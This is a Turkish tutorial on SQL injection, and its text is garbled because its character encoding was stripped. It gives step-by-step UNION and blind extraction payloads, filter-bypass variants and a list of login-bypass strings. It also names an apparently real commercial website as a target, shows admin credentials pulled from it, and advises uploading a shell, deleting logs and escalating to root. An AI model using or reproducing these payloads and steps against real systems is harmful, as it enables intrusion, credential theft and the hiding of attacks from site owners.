Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

